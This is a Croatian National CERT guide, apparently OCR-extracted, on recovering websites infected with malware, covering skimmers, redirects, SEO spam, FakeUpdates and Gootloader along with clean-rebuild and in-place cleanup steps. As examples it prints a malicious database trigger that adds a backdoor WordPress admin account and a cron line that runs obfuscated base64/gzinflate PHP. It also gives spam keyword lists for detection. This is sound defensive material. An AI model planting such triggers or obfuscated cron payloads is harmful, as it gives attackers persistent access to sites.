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Ovaj dokument izradio je Laboratorij za sustave i signale Zavoda za elektronicke sustave
i obradbu informacija Fakulteta elektrotehnike i racunarstva Sveucilista u Zagrebu.

Ovaj dokument vlasnistvo je Nacionalnog CERT-a. Namijenjen je javnoj objavi te se svatko
smije njime koristiti i na njega se pozivati, ali iskljucivo u izvornom obliku, bez izmjena,
uz obvezno navodenje izvora podataka. KoriStenje ovog dokumenta protivno gornjim
navodima povreda je autorskih prava CARNET-3, a sve navedeno u skladu je sa zakonskim
odredbama Republike Hrvatske.
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1 Uvod

Napadaci neprekidno pokusavaju kompromitirati web sjediSta. Kada u tome uspiju
oporavak moZe biti prili¢no tezak, budu¢i da ¢ak i nestrucni napadaci €ine sve u svojoj
moci kako bi web sjediSte ostalo kompromitirano.

Ovaj dokument je zamisljen kao prirucnik sistem administratorima za pomo¢ u oporavku
web sjedista koja su inficirana malverom.

Bitno je napomenuti da se dokument bavi uobicajenim relativno jednostavnim masovnim

infekcijama i savjeti nisu nuzno primjenjivi kod sloZenih ciljanih napada, za koje se
preporucuje potraZiti pomo¢ struc¢njaka.
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2 Metode kompromitacije web sjedista

Napadaci obi¢no kompromitiraju web sjediste na jedan od sljedec¢ih nacina:

e Pogadanjem slabe lozinke web aplikacije

e Pogadanjem slabe lozinke administracijskih servisa (cpanel, SSH isl.)

e Ranjivost u softveru web sjedista ili proSirenjima (engl. plugin)

e Krada lozinke administratora infostealer malverom

e Backdoor u prosirenjima softvera (osobito Cesto kod piratiziranih verzija
placenih proSirenja, ali ponekad i kod kompromitiranih verzija legitimnih
prosirenja).
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3 Uobicajene posljedice

U ovom poglavlju su objasSnjene uobicajene posljedice kompromitacije web sjedista.
Citatelji koji su ve¢ dobro upoznati s posljedicama mogu preskociti ovo poglavlje i prijeci
na sljedece poglavlje o oporavku.

3.1 Skimmers

Web skimmer (Cesto zvan ,Magecart napad” iako je ,Magecart” samo jedna vrsta
skimmera) je maliciozni kod ugraden u legitimnu web trgovinu koji prikuplja podatke o
kreditnoj/debitnoj kartici kojom Zrtva placa i Salje ih napadacu, koji ih potom
iskoriStava za online kupnju ili prodaje drugim kriminalcima (1).

Budu¢i da web trgovine uglavnom ne pohranjuju brojeve kreditnih kartica u bazi
podataka, napadac obi¢no ima priliku ukrasti podatke o karticnom pla¢anju samo u
trenutku kada ih kupac unosi.

Napadaci to mogu postiéi na viSe nacina:
- Ugradivanjem malicioznog JavaScript kdda u stranicu na kojoj se unose karti¢ni
podaci. Cesto se maliciozni kod dohvaéa indirektno, primjerice koriste¢i Google
Tag Manager (2)
- Mijenjanjem backend kdda
- Stvaranje laZnih formi (npr. ako stranica uopc¢e ne podrzava karti¢no plac¢anje).

Zrtva (kupac) ¢esto ne¢e posumnjati da je zrtva ovakvog napada, buduéi da kupuje na
legitimnoj stranici i dobije proizvod koji je platila. Takoder, napada¢ moZzda nece
iskoristiti/prodati podatke o kartici odmah, zbog ¢ega Zrtva nece nuzno povezati
sumnjivu aktivnost na bankovnom racunu s kupnjom na inficiranoj stranici.

Osim za kupce, posljedice su moguce i za vlasnika stranice. Primjerice, British Airways je
u 2020.-0j dobio kaznu od 20 milijuna funti zbog web skimmer napada koji je ukrao
podatke 380 000 kupaca (3).

U akciji Europola 2023. otkriveno je 443 inficiranih trgovina, od kojih su neke bile i u
Hrvatskoj (4).

3.2 Maliciozna preusmjeravanja

Napadaci koji kompromitiraju web sjediste (uglavnom kroz ranjivosti u Wordpress ili
Joomla prosirenjima), Cesto u sjediSte ubace maliciozni kdd koji preusmjerava Zrtve na
nepoZeljne stranice (laZzne nagradne igre, preuzimanje malvera ili drugog potencijalno
nepoZeljnog softvera, laZne stranice za kladenje i slicno).

Buduc¢i da napadaci ne Zele da administrator detektira infekciju, preusmjeravanje se
ponekad aktivira samo za posjetitelje na mobilnim uredajima (5).
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3.3 SEO Spam

Napadaci koji kompromitiraju web sjediSte mogu konfigurirati web sjediSte tako da
traZilicama (npr. Google) posluZuju SPAM sadrZaj (nelegitimne trgovine odje¢om,
trgovine lijekovima za koje je inace potreban recept, ilegalne stranice za kockanje i
slicno), a ljudima koji posje¢uju web sjediSte prikazuje legitiman sadrZaj.

lako ovakav napad obitno nece utjecati na posjetitelje web sjedista (zato Sto se njima i
dalje prikazuje legitiman sadrzaj), Cesto Ce rezultirati padom prometa prema web
sjedistu, buduci da trazilice viSe ne vide legitimni sadrZaj web sjediSta. Osim toga,
ovakva infekcija pomaze promociji Stetnih trgovina.
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Slika 1 - rezultati pretrage za domenu inficiranu SEO spamom (6)

3.4 FakeUpdates (Socgholish/Clearfake/SmartApeSG)

FakeUpdates je naziv za napade u kojima se posjetitelje kompromitiranog web sjedista
pokusSava nagovoriti da preuzmu maliciozni program koji se predstavlja kao aZuriranje
preglednika. U FakeUpdates skupinu napada spadaju SocGholish, ClearFake i SmartApeSG
(7).

Malver Cesto profilira Zrtve i posluZuje im razliciti sadrZaj, zbog Cega ga je teze
detektirati, primjerice kod jedne SocGholish infekcije je primijeceno sljede¢e ponasSanje
malvera:
- Zrtvama koje dolaze s IP adrese s engleskog govornog podruéja (SAD, UK,
Australija) i koje koriste operacijski sustav Windows se posluZi lazno aZuriranje
- Zrtve koje dolaze s mobilnog uredaja, bez obzira na IP adresu se preusmjeri na
laZnu nagradnu igru
- Zrtvama koje ne zadovoljavaju prethodne uvjete se prikaZe legitiman sadrzaj.
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You are using an older version of
Chrome

Update Chrome

Slika 2: Socgholish drive by update (8)

Slika 2 prikazuje primjer Socgholish napada. Legitimno, ali kompromitirano web sjediste
je iskoristeno za distribuciju malvera koji se predstavlja kao aZuriranje za preglednik
Chrome.

3.5 Gootloader

Gootloader je naziv malvera koji se Siri pomocu laznih ¢lanaka na kompromitiranim web
sjediStima.

Koraci napada su sljedeci:

1)
2)

3)

4)

Napadac kompromitira web sjediSte

Napadac stvori veliki broj automatski generiranih ¢lanaka, uglavnom vezanih za
pravnu tematiku (npr. predloSci ugovora) na engleskom jeziku

Kad Zrtva pretraZi neki termin (npr. ,implied employment agreement”) u
rezultatima naide na kompromitirano web sjediSte i posjeti ga

Ako Zrtva dolazi iz zemlje koja je operateru malvera zanimljiva, prikaZe se lazni
forum u kojem korisnik ,Emma Hill“ pita za predloZak ugovora, a korisnik
»,admin“ odgovara s hipervezom za preuzimanje predloska.

Inace se prikaZe ¢lanak s besmislenim tekstom.
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5) Ako Zrtva preuzme i klikne na ,predloZak ugovora“, zapravo ¢e se pokrenuti
malver. Cesto je to prvi korak u ransomware napadu. (9)

Kao i kod drugih opisanih web malvera, neki antivirusi ¢e blokirati pristup web
sjedistima koja su inficirana ovim malverom (cijeloj domeni, bez obzira posjecuje li
korisnik lazni ¢lanak ili legitimni sadrzaj), pa vlasnik stranice ima interes dezinficirati
web sjediste inficirano ovim malverom bez obzira na to Sto on ne cilja uobicajene
posijetitelje web sjedista.

C &) httpsy _ mplied-employment-agreement/ A T5 7= z

QUESTIONS AND ANSWERS
LogIn Sign Up

Questions News Search About Us

implied employment agreement?

#1 2023/01/25 7:16 pm

Emma Hill Hi, | am looking to implied employment agreement. A friend
of mine told me he had seen it on your forum. | will

% appreciate any help here.

Newbie

#2 2023/01/26 2:46 am

Admin Here is a direct download link, implied employment

W agreement.

Slika 3: Gootloader primjer (10)
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4 DezinfeKkcija

Oporavak kompromitiranog web sjediSta moZe biti izazovan budu¢i da ¢ak i nestrucni
napadaci poduzimaju sve $to mogu kako bi njihov malver ostao na web sjediStu.

Napadaci cesto:

e Ugrade maliciozni kdd u velik broj legitimnih datoteka (npr. sve ,jquery.js“i
»index.php“ datoteke u koje mogu pisati)

e Stvore veliki broj ,backdoor” izvr$nih datoteka u mnogo foldera

e Stvore dodatne admin korisnike za web sjediste

e Konfiguriraju ,database triggere” koji dodaju backdoor admin racun u slucaju da
je izbrisan

e Izmijene sadrZaj ¢lanaka u bazi podataka kako bi sadrZavale zlonamjerni
JavaScript kéd

e Konfiguriraju cron jobove koji periodicki reinficiraju datoteke.

Osim toga, posljedice napada ponekad postanu ocite tek mjesecima nakon Sto je napadac
kompromitirao web sjediste. Zbog toga Cesto nije dovoljno samo oporaviti web sjediSte
iz pricuvne Kkopije.

Antivirusi su odlican alat za detekciju zarazenih datoteka, ali nazalost ne¢e nuzno
detektirati sve metode perzistencije koje web malver ima. Web sjediSta ¢esto budu
reinficirana ¢ak ako je originalna ranjivost zakrpana, zato Sto je napadacu negdje ostao
backdoor.

Vrijedi napomenuti da ako je jedno web sjediste inficirano malverom, uglavnom su
inficirana i druga koja se pokrecu pod istim korisnikom (npr. vise web sjediSta pod
jednim cPanel racunom).

Najsigurniji nac¢in za oporavak web sjedista je ponovno postavljanje cijelog web sjedista
u novom cistom okruzenju (dakle reinstalirati operacijski sustav servera ili resetirati
cpanel racun u pocetno stanje).

Poglavlje 4.1 objasnjava korake koje je potrebno poduzeti za oporavak u ¢istom
okruZenju.

Poglavlje 4.2 objasnjava korake koje je potrebno poduzeti ako postavljanje Cistog
okruZenja nije moguce.

4.1 Oporavak web sjedista u Cistom okruzenju

U ovom poglavlju su opisani koraci oporavka web sjedista u ,Cistom* okruzenju
(reinstaliran operacijski sustav posluzitelja ili korisnicki racun vracen u pocetno stanje u
slucaju koriStenja shared hostinga).

Postupak oporavka u , ¢istom“ okruZenju ima najvec¢u Sansu za potpuno uklanjanje

infekcije zato Sto malver ne postoji na novom okruZenju pa ne moZe ometati proces
oporavka.
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1)

2)

3)

4)

5)

Priprema pricuvnih kopija

Za obnovu u ¢istom okruZenju potrebno je imati pricuvnu kopiju (engl. backup) iz
razdoblja prije nego Sto je web sjediste inficirano. U izvanrednim slucajevima kad
odgovarajuca pricuvna kopija ne postoji, moZe se koristiti i pricuvna kopija
trenutnog, inficiranog web sjediSta koja ¢e se zatim morati detaljno dezinficirati.
Bitno je da postoji pricuvna kopija datoteka web sjedista i baze podataka.

Evidentirati verzije softvera
Potrebno je evidentirati verzije softvera, ukljuCujuci verzije prosirenja (engl.
plugin) koje se koriste na web sjediStu.

Priprema ,Cistog“ okruZenja

Reinstalirati operacijski sustav na posluzitelju, odnosno vratiti korisnicki racun u
pocetno stanje u slucaju koristenja shared hostinga ili pripremiti novo okruZenje
u kojem Ce se napraviti oporavak.

Bitno je izmijeniti sve pristupne podatke koji su se mogli koristiti za pristup
sustavu, bududi da ih je napadac¢ mogao saznati (npr. lozinke za SSH i cPanel).

Postavljanje vatrozida (engl. firewall)
Tijekom oporavka je, iz sigurnosnih razloga, nuzno privremeno mreZzno ograniciti
pristup web sjedistu.

Instalacijski procesi raznih softvera (npr. Wordpress) su Cesto izloZeni bez
autentifikacije i poznati su slucajevi kada su napadaci preuzeli kontrolu nad
instalacijom prije nego Sto je legitimni korisnik mogao zavrsiti instalaciju (11).

Takoder, pri oporavku mogu privremeno biti prisutne slabosti koje bi mogle
omoguciti napadacu pristup (npr. mozda je nuzno privremeno instalirati ranjivu
verziju softvera, pa onda naknadno izvrsiti nadogradnju).

Moze se koristiti sistemski vatrozid (npr. iptables) ili ograni¢enja na razini web
sjediSta (npr. .htaccess datoteke kod Apache posluzitelja).

MrezZni pristup bi trebao biti ogranicen najviSe $to je moguce. Iznimno, ¢ak i samo
restrikcija koja dopusta samo mreZni promet iz Republike Hrvatske moZe
znacajno smanjiti prijetnju od nesofisticiranih napadaca. Popis hrvatskih IP
adresa postoji na poveznici.

Dezinfekcija pricuvne kopije baze podataka
Potrebno je stvoriti novi korisnicki racun za bazu podataka s novim pristupnim
podacima, a zatim ucitati bazu podataka iz dump datoteke.

Bazu podataka je zatim potrebno dezinficirati. Sljedec¢i koraci se mogu izvrsiti
kroz sucelje za upravljanje bazom podataka (npr. phpmyadmin):

e Provjeriti koji korisnicki racuni postoje (npr. tablica wp_users kod
Wordpressa) i obrisati nepoznate korisni¢ke racune. Dobra ideja je i ve¢ u
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ovom koraku izmijeniti lozinke korisnickih ra¢una izravno iz baze
podataka. Toc¢ni koraci za izmjenu lozinke izravno u bazi podataka ovise o
softveru, obicno je lako pronaci upute za to na internetu.

Obrisati ¢lanke koje je dodao napadac. Obic¢no ¢e ih biti lako prepoznati
buduci da ¢e tematikom i jezikom odudarati od legitimnih. Sortiranje po
datumu moze pomodi pri identifikaciji, ali vrijedi napomenuti da napadaci
ponekad laZiraju datum. Clanke koje je dodao napadac treba obrisati.

Obrisati sadrzaj koji je napadac dodao u legitimne Clanke. Obi¢no se radi o
HTML kédu koji dohvaca malicioznu javascript skriptu.

Ugradeni HTML kod je ¢esto moguce pronaci tako da se u tablici clanaka
traZzi izraz <script.

Ugradeni spam sadrzaj se ¢esto moZe pronaci pretraZzivanjem klju¢nih
rijeCi koje su ¢esto u spamu kao Sto su: no prescription, pharmacy , pills,
gambling, casino, betting, watches...

U oba slucaja je bitno napomenuti da sadrZaj moZe biti i legitiman (npr.
stranica koja se bavi medicinom ¢e moZda imati rije¢ pharmacy u
legitimnim €lancima), pa je pri odluci o brisanju bitna ljudska prosudba.

Provjeriti tablice koje mogu sadrzavati HTML kéd koji se po zadanim
postavkama ugraduje u sve HTML stranice.

Javno su poznati slucajevi gdje su napadaci ugradili HTML kéd u:
o wp_options tablicu kod Wordpress instalacija (posebno obratiti
paznju na opcije wp_head i cron) (12)
o cms_block, core_config_data, layout_update tablice kod Magento
web trgovina (13) (14) (15).

Provjeriti i obrisati zZlonamjerne database triggere. Napadaci ponekad
dodaju database trigger koji izvrsi maliciozni SQL upit svaki put kad se
ispuni neki uvjet. Primjerice poznat je web malver koji bi dodao backdoor
wordpress admin korisnicki racun svaki put kada bi se pojavio komentar
,are you struggling to get comments on your blog“.

CERT.hr-PUBDOC-2025-2-411 stranica 11//23
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r: after _insert_comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content '%are you struggling to get comments on your bl
THEN
SET (SELECT (id) FROM “wordpress” . wp_users );
SET 1;
INSERT INTO “wordpress . wp users” ('ID", “user login~, “user pass’,

“user_nicename’, “user _email”, “user url”, ‘user registered , “user_ activation key",

“user_status”, “display name”) UES ( , 'wpadmin',
yUXpYwXN$Ihwa i PhtGdNC ', 'wpadmin®, "\ curityghotmail.com", ‘http:

wordpr 14 ¢ 2 "ty 0 'K

INSERT INTO “wordpress . wp usermeta’ ( umeta id~, “user id", “meta_key",
“meta_value”) S (NULL, , Wwp_capabilities', ‘a:l:
{ 3:"administrator";

INSERT INTO “wordpress . wp_usermeta’ ( umeta id~, “user id", “meta_key",
“meta_value’ ) VALUES (NULL, . 'wp_user_level', '1@8');
END IF;

Slika 4 - zlonamjerni database trigger koji stvori novi admin racun svaki
put kad netko ostavi komentar s tesktom "are you struggling to get
comments on your blog?" (16)

Database triggere je moguce pregledati naredbom show triggers.

6) Instalacija softvera
Preporuca se instalacija softvera iz sluzbenih izvora (a ne iz pricuvne kopije)
kako bi bilo sigurno da datoteke softvera nisu inficirane.

Dakle, potrebno je ponovno iz sluzbenih izvora preuzeti sav potreban softver koji
je evidentiran u koraku 2 ovog poglavlja, a zatim ga povezati na bazu podataka
koja je ucitana u koraku 5.

Takoder je potrebno primijeniti sve dostupne sigurnosne zakrpe na softver,
ukljucujudi i sigurnosne zakrpe za proSirenja i teme.

Ako to vec nije napravljeno u koraku 5, pri ovom koraku je potrebno i izmijeniti
lozinke svih Korisnickih racuna.

7) Oporavak medijskih datoteka
[z pricuvne kopije je potrebno oporaviti medijske datoteke na odgovarajuce
lokacije. Iznimno je bitno da se na novo okruZenje kopiraju samo medijske
datoteke (slike i dokumenti), a ne datoteke koje sadrZe kod (npr. php datoteke).

Bitno je paziti i na konfiguracijske datoteke. Ako je potrebno iz backupa preseliti
neku konfiguracijsku datoteku (npr..htaccess datoteku), bitno je ru¢no pregledati

sav njen sadrzaj.

8) Skeniranje sustava antimalware alatima
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Popularni antimalware alat za Wordpress okruZenje je Wordfence Security.
Besplatna verzija alata ima ogranicenje da joj nedostaje funkcionalnost za
prepoznavanje najnovijih vrsta malvera (kasni 30 dana).

Popularan antimalware alat za skeniranje web trgovina je Sansec eComscan.
Postoji besplatna verzija koja prikaZe je li malware pronaden, ali ne prikaze
detalje.

ImunifyAV je antimalware alat namijenjen opcenito za web posluzitelje i obi¢no
je besplatno dostupan ako se koristi WHM administracijski alat (i po zadanim
postavkama mogu ga koristiti samo WHM, ali ne i cPanel korisnici).

ClamAV je popularan open source antimalware alat koji takoder moZe pomoci pri
otkrivanju malvera.

Potrebno je ukloniti bilo kakav preostali malver koji je detektiran (antimalware
alat nece to nuzno napraviti automatski).

Ako malver nije detektiran, web sjediste je vjerojatno uspjesno oporavljeno.
9) Ukloniti mreZna ogranicenja postavljena u koraku 4.

10)Skenirati web sjediSte online frontend alatima za detekciju malvera
Kao dodatna mjera opreza, web sjediSte se moZe skenirati i online alatima za
detekciju malvera kao $to je Sucuri Sitecheck. Takvi alati detektiraju posljedice
infekcije koje su vidljive u pregledniku (npr. maliciozne javascript skripte). Pri
skeniranju paziti da se ne prikazuju cacheirani rezultati (odabrati opciju re-scan
ako se nudi).

Preporuca se testirati pocetnu stranicu web sjediSta kao i checkout URL ako se
radi o web trgovini.

11)Skenirati domenu alatom Virustotal
Alat Virustotal skenira web sjediSte raznim antivirus alatima. Jednom kad neki
antivirus detektira domenu kao inficiranu, Cesto ju takvom prikazuje i nakon Sto
problem bude rijeSen i blokira posjetitelje koji koriste taj antivirus.
Ako je problem rijeSen, a neki antivirusi i dalje prikazuju web sjediSte kao
inficirano, treba poslati tu informaciju proizvodacu antivirusa na njihov javni

kontakt. Problem obi¢no bude rijeSen kroz nekoliko radnih dana.

12) Zatraziti recrawl web sjediSta od Googlea ili ostalih trazilica.

4.2 Oporavak web sjedista u inficiranom okruzenju

U nekim slucajevima, zbog poslovnih ili tehnickih razloga, nije moguce postaviti novo
okruZenje za oporavak.

Verzija 1.00 CERT.hr-PUBDOC-2025-2-411 stranica 13/ 23



C=RT.hr

Problem s oporavkom u inficiranom okruZenju jest taj da se administrator u nekim
slu¢ajevima mora boriti protiv aktivnog malvera koji opetovano reinficira sustav.

Ipak, u nastavku su navedeni koraci kojima je moguce rijesiti se nekih infekcija.

Prije izvrSavanja sljedecih koraka obavezno napraviti pricuvnu kopiju u slucaju da
nesto pode po zlu (npr. izbriSe se neka legitimna datoteka koja nije inficirana).

1)

2)

3)

4)

[zmijeniti lozinke sustava za upravljanje
Treba izmijeniti lozinke za SSH, cPanel, WHM , FTP i druge upravljacke
sustave.

Privremeno ograniceni mreZni pristup web sjediStu

Preporuca se tijekom oporavka privremeno ograniciti mreZni pristup web
sjedistu kako napadaci ne bi mogli pristupati backdoorima koje cesto
ugraduju u sustav.

Cak i relativno $iroko ograni¢enje (npr. dopustanje prometa samo s ISP-a
kojeg administrator koristi, ili Cak prometa iz cijele Hrvatske) moZe sprijeciti
napadace da ponovno inficiraju sustav.

OgraniCenje moZe biti implementirano i na razini web sjediSta pomoc¢u
.htaccess datoteka (ili ekvivalenta) (17).

Zaustaviti maliciozne procese
Neke vrste web malvera se pokre¢u u memoriji i reinficiraju datoteke koje
administrator dezinficira.

Bez terminiranja tih procesa, brisanje inficiranih datoteka moZe biti
beskorisno, buduci da ¢e maliciozni procesi uvijek reinficirati web sjediste.

Preporuca se terminirati sve PHP procese. MoZe ih se pronaci npr. Linux
naredbom ps aux [grep -i php, a zatim terminirati naredbom kill -9 <id
procesa>.

Obrisati maliciozne cron jobove
Napadaci Cesto postavljaju cron jobove koji periodicki reinficiraju datoteke
web sjedista.

Slika prikazuje maliciozni cron job koji izvrSava maliciozni php kdéd svakih 5
minuta.
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#/5 % % * * Jusr/local/bin/php -r
‘eval(gzinflate(base64_decode("jZFvb5swEMbfR8p3cCWkghINhGytoikvujb/aAlImgLINCEwphiMQWB
Iy7TvPp0QJItOgbRbIJ/u53909brfSIL1NGG84BHs0Q+L

gnbRDF5R+NR+ATWEWX9kh/4NH760Pd j0Z9w7+fdvjfOwgltzHD8dHNfXzmL+iAntzkFIRgGv1t/v590uKj9+me
WXCUs6SofT2TvBWulbyz3w=")));"

Slika 5 - cron job malware (18)

Maliciozne cron jobove treba izbrisati. Cron jobovima je moguce upravljati
kroz shell ili web sucelje upravljackog sustava kao Sto je cPanel.

5) Zamjena datoteka sigurnim, ¢istim kopijama
Buduc¢i da web malver ugraduje maliciozni kod u brojne legitimne datoteke
web sjedista (npr. PHP i js datoteke) potrebno ih je zamijeniti s izvornom
¢istom kopijom.

Uglavnom nije prakti¢no rucno traZiti sve inficirane datoteke pa ih
zamjenjivati, umjesto toga efikasnije je zamijeniti sve datoteke osim
konfiguracijskih (npr. datoteka koja sadrzi podatke za spajanje na bazu
podataka) i medijske datoteke (slike i sli¢no).

Postupak oporavka mozZe biti sljedeci:

5.1) Identificirati verzije softvera, ukljuc¢ujuci i verzije svih prosirenja
(npr. verzija Wordpress CMS-a, verzija svih plugina i tema)

5.2) Preuzeti te iste verzije softvera iz sluzbenih izvora.

5.3) Zamijeniti sve datoteke s onima iz sluZbenih izvora, osim
konfiguracijskih i medijskih datoteka (npr. kod Wordpressa se
uglavnom mozZe zamijeniti sve osim datoteke wp-config.php koja
sadrzi konfiguracijske podatke za spajanje na bazu podataka i
datoteka u direktoriju wp-content/uploads koje sadrze slike i ostali
sadrZzaj)

Takoder je potrebno obrisati datoteke koje je napadac dodao.
Linux naredba diff moZe pomoci u pronalasku datoteka koje je
potrebno zamijeniti kako bi se pronasle datoteke koje su

izmijenjene i koje ne postoje u izvornoj verziji softvera.

Slika prikazuje primjer koriStenja diff naredbe na originalnoj verziji
Wordpressa i kompromitiranoj stranici:
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e Datoteka about.php se ne nalazi u wordpress softveru, ali
se nalazi na web sjediStu, trebalo bi ju izbrisati

e Datoteka wp-config.php se ne nalazi u wordpress softveru,
ali to je konfiguracijska datoteka i ne bi ju se trebalo slijepo
izbrisati

e Direktorij wp-content/plugins/contact-form-7 je plugin,
njegove datoteke se trebaju usporediti s istom verzijom
contact-form-7 plugina preuzetom iz sluzbenih izvora

e Direktorij wp-content/uploads sadrzi medijske datoteke pa
ga ne bi trebalo slijepo ukloniti

e Datoteka wp-login.php se ne bi trebala razlikovati od
datoteke u istoj verziji wordpressa, treba ju zamijeniti
izvornom verzijom

$ diff -qr wordpress-5.8.1-original/wordpress www/example website
Only in www/example_website: about.php

Only in www/example_website: wp-config.php

Only in www/example_website/wp-content/plugins: contact-form-7

Only in www/example_website/wp-content: uploads

Files wordpress-5.8.1-original/wordpress/wp-login.php and www/example_website/wp-login.php differ
S
S

Slika 6

5.4) Rucno pregledati konfiguracijske datoteke
Web malver ponekad ugradi maliciozni kod u konfiguracijske
datoteke. Obi¢no se moZe lako identificirati i ukloniti.

5.5) Pregledati direktorije u kojima se nalaze medijske datoteke
Web malver ¢esto postavi zlonamjerne izvr$ne datoteke (npr. PHP
datoteke) u direktorije u kojima su inac¢e pohranjene slike i drugi
medijski sadrZaj (npr. wp-content/uploads kod Wordpressa).

Treba pregledati nalaze li se u tim direktorijima ikakve izvrSne
datoteke (npr. pomocu naredbe Linux naredbe find) i izbrisati ih
(uglavnom nema legitimnog razloga da se u takvim direktorijima
nalaze izvr$ne datoteke).

6) Skeniranje sustava antimalware alatima
Popularni antimalware alat za Wordpress okruZenje je Wordfence Security.
Besplatna verzija alata ima ograniCenje da joj nedostaje funkcionalnost za
prepoznavanje najnovijih vrsta malvera (kasni 30 dana).

Popularan antimalware alat za skeniranje web trgovina je Sansec eComscan.
Postoji besplatna verzija koja prikaZe je li malver pronaden, ali ne prikaZe
detalje.

ImunifyAV je antimalware alat namijenjen opcenito za web posluzitelje i

obicno je besplatno dostupan ako se koristi WHM administracijski alat (i po
zadanim postavkama mogu ga koristiti samo WHM, ali ne i cPanel korisnici).
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ClamAV je popularan open source antimalware alat koji takoder moZze
pomoci pri otkrivanju malvera.

Potrebno je ukloniti bilo kakav preostali malver koji je detektiran
(antimalware alat nece to nuZzno napraviti automatski).

7) Dezinfekcija baze podataka
Ako postoji odgovarajuca pricuvna kopija baze podataka koja je nastala prije
nego Sto je web sjediSte inficirano, preporuca se koristiti nju, bududi da ¢e
vjerojatno biti manje inficirana. No ¢ak je i pricuvnu kopiju potrebno
dezinficirati po uputama navedenim u nastavku. Ovi koraci se mogu izvrsiti i
kroz web sucelje za upravljanje bazom podataka (npr. phpmyadmin).

Verzija 1.00

[zmijeniti lozinku za pristup bazi podataka (potrebno onda izmijeniti i u
konfiguracijskoj datoteci web sjedista).

Provjeriti koji korisnicki racuni postoje (npr. tablica wp_users kod
Wordpressa) i obrisati nepoznate korisni¢ke racune. Dobra ideja je i ve¢ u
ovom koraku izmijeniti lozinke korisnickih ra¢una izravno iz baze
podataka. Toc¢ni koraci za izmjenu lozinke izravno u bazi podataka ovise o
softveru, obi¢no je lako pronaci upute za to na internetu.

Obrisati ¢lanke koje je dodao napadac. Obicno ¢e ih biti lako prepoznati
buduci da ¢e tematikom i jezikom odudarati od legitimnih. Sortiranje po
datumu moze pomod¢i pri identifikaciji, ali vrijedi napomenuti da napadaci
ponekad laZiraju datum.

Obrisati sadrzaj koji je napadac dodao u legitimne ¢lanke. Obi¢no se radi o
HTML ko6du koji dohvaca malicioznu javascript skriptu.

Ugradeni HTML kod je ¢esto moguce pronaci tako da se u tablici clanaka
traZzi izraz <script .

Ugradeni spam sadrzaj se ¢esto moZe pronaci pretrazivanjem klju¢nih
rijeCi koje su €esto u spamu kao Sto su: no prescription, pharmacy , pills,
gambling, casino, betting, watches.

U oba slucaja je bitno napomenuti da sadrZaj moZe biti i legitiman (npr.
stranica koja se bavi medicinom ¢e moZda imati rije¢ pharmacy u
legitimnim ¢lancima). Pri odluci o brisanju je bitna ljudska prosudba.

Provjeriti tablice koje mogu sadrzavati html kod koji se po zadanim
postavkama ugraduje u sve HTML stranice.

Javno su poznati slucajevi gdje su napadaci ugradili HTML kéd u:

o wp_options tablicu kod Wordpress instalacija (posebno obratiti
paznju na opcije wp_head i cron) (12)
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o cms_block, core_config_data, layout_update tablice kod Magento
web trgovina (13) (14) (15)

e Provjeriti i obrisati zlonamjerne database triggere. Napadaci ponekad
dodaju database trigger koji izvrsi maliciozni SQL upit svaki put kad se
ispuni neki uvjet. Primjerice poznat je web malver koji bi dodao backdoor
wordpress admin korisnicki ra¢un svaki put kada bi se pojavio komentar
»are you struggling to get comments on your blog".

Trigger: after_insert comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content '%are you struggling to get comments on your bl
THEN
SET (SELECT (id) FROM “wordpress . wp USers );
SET 1;
INSERT INTO “wordpress . wp users” ('ID°, “user_login®, ‘user pass’,

“user_nicename’, “user _email”, “user url®, ‘user registered’, “user_activation key",
“user_status”, “display name”) , 'wpadmin',

curityghotmail.com', ‘http://
wordpr ; @ K );

INSERT INTO “wordpress . wp usermeta’ ( umeta id™, “user id", “meta_key",
“meta_value®) VALUES (NULL, , 'wp_capabilities', ‘'a:l:
{s:13:"administrator”;s:1:"1";}');

INSERT INTO “wordpress . wp_usermeta’ (“umeta_id™, “user id", “meta_key",
“meta_value” ) VALUES (NULL, , 'wp_user_level', '1@');

END IF;

Slika 7 - zlonamjerni database trigger koji stvori novi admin racun svaki
put kad netko ostavi komentar s tekstom "are you struggling to get
comments on your blog?" (16)

Database triggere je moguce pregledati naredbom show triggers.

8) Primjena sigurnosnih zakrpi
Treba primijeniti sve dostupne sigurnosne zakrpe za softver i njegova
prosSirenja.

9) Promjena svih ostalih pristupnih podataka
Treba izmijeniti sve ostale pristupne podatke koji do sad nisu izmijenjeni
(npr. pristupni podaci za samo web sjediste, ako to nije napravljeno pri
dezinfekciji baze podataka).

10)Ukloniti mreZna ogranicenja postavljena u koraku 4.
11)Skenirati web sjediSte online frontend alatima za detekciju malvera
Kao dodatna mjera opreza, web sjediSte se moze skenirati i online alatima za

detekciju malvera kao $to je Sucuri Sitecheck. Takvi alati detektiraju
posljedice infekcije koje su vidljive u pregledniku (npr. maliciozne javascript
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skripte). Pri skeniranju paziti da se ne prikazuju cacheirani rezultati
(odabrati opciju re-scan ako se nudi).

Preporuca se testirati pocetnu stranicu web sjedista kao i checkout URL ako
se radi o web trgovini.

12)Skenirati domenu alatom Virustotal
Alat Virustotal skenira web sjediSte raznim antivirus alatima. Jednom kad
neki antivirus detektira domenu kao inficiranu, ¢esto ju takvom prikazuje i
nakon Sto problem bude rijesen i blokira posjetitelje koji koriste taj
antivirusni program.

Ako je problem rijeSen, a neki antivirusi i dalje prikazuju web sjediSte kao
inficirano, treba poslati tu informaciju antivirus kompaniji na njihov javni

kontakt. Problem obi¢no bude rijesen kroz nekoliko radnih dana.

13) ZatraZiti recrawl web sjediSta od Googlea ili ostalih trazilica.
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5 Detekcijai prevencija

Kako bi se ubuduce sprijecila kompromitacija, potrebno je redovito aZurirati sav
softver na web sjediStu i osigurati da svi administratori imaju snaZne lozinke.

Dodatne mjere zaStite koje se mogu konfigurirati za dodatno oteZavanje napada
su:
e Ograniciti mreZni pristup admin sucelju na temelju IP adrese
¢ Konfigurirati dvofaktorsku autentifikaciju ako sustav to podrzava
e Postaviti nadzor promjene sadrzaja datoteka (npr. alatom AIDE) (19)
e Konfigurirati content-security-policy zaglavlja kako bi se sprijecilo
izvrSavanje javascript kdda s malicioznih domena (20).
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6 Zakljucak

Kompromitacija web sjediSta moZe imati teSke posljedice i za posjetitelje i za vlasnika
web sjedista.

Buduc¢i da napadaci Cesto Cine sve Sto je u njihovoj moc¢i kako bi imali trajan pristup web
sjediStu, oporavak od kompromitacije moZe biti izazovan, budu¢i da malver moze
opetovano reinficirati sustav.

Preporuca se oporavak u Cistom okruzenju tako da se softver web sjediSta reinstalira, a
baza podataka dezinficira. Oporavak u inficiranom okruZenju je teZi, ali ga je u nekim
